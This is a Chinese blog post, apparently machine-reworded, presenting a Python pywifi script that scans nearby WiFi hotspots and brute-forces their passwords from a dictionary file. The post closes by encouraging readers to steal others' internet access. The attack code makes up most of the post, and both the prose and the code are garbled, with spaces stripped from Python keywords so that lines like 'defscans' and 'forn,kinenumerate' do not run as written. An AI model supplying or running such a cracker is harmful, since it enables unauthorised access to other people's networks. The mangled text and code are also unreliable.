Python强悍破译WiFi登陆密码

自然环境提前准备 python2.7 pywifi模块 字典 消除系统软件中的一切wifi联接纪录 导进模块 这儿用的模块就这三个 pywifi的_wifiutil_linux.py脚本制作的 _send_cmd_to_wpas方式中的if rep...

自然环境提前准备

python2.7

pywifi模块

字典

消除系统软件中的一切wifi联接纪录

导进模块

这儿用的模块就这三个 pywifi的_wifiutil_linux.py脚本制作的 _send_cmd_to_wpas方式中的if reply !=b'OK

':分辨必须改动,要不然会出现许多的信息提示。

from pywifi import *

import time

import sys

字典提前准备

python 群 565266089

配备扫描器

强烈推荐扫描常常能够设定在15-20秒中间 测试常常则能够自定,考虑到验证速率于间距的关联,我一般设定在15上下,再久的也没意义 那时候即使破译取得成功的热点,数据信号也罢不上哪儿。

扫描周边热点

defscans(face,timeout):

#逐渐扫描

face.scan()

time.sleep(timeout)

#在多个秒后获得扫描結果

return face.scan_results()

热点测试

这儿事后强烈推荐将扫描全过程数据信息进库,避免 反复扫描,且更为形象化。

deftest(i,face,x,key,stu,ts):

#表明相匹配网络名称,考虑到一部分中文名字啧表明bssid

showID=x.bssidiflen(x.ssid)>len(x.bssid)elsex.ssid

#迭代更新字典并开展工程爆破

forn,kinenumerate(key):

x.key=k.strip()

#清除全部热点配备

face.remove_all_network_profiles()

#讲封裝好的总体目标试着联接

face.connect(face.add_network_profile(x))

#复位状态码,考虑到用0会产生些逻辑错误

code=10

t1=time.time()

#循环系统更新情况,假如置为0则密码错误,如请求超时则开展下一个

while code!=0 :

time.sleep(0.1)

code=face.status()

now=time.time()-t1

if now>ts:

break

stu.write("\\r%-*s| %-*s| %s |%*.2fs| %-*s | %-*s%*s"%(6,i,18,showID,code,5,now,7,x.signal,10,len(key)-n,10,k.replace("

","")))

stu.flush()

if code==4:

face.disconnect()

return "%-*s| %s | %*s |%*s

"%(20,x.ssid,x.bssid,3,x.signal,15,k)

return False

实例

这儿表明此次测试应用了11个弱口令,并扫描到20个热点,随后逐渐坑人的跑起来了

你以取得成功连接WiFi ,是否很趣味,想不想盗网呢。

  • 发表于 2021-02-16 13:14
  • 阅读 ( 198 )
  • 分类:互联网

0 条评论

请先 登录 后评论
孤独剑客
孤独剑客

2668 篇文章

你可能感兴趣的文章

相关问题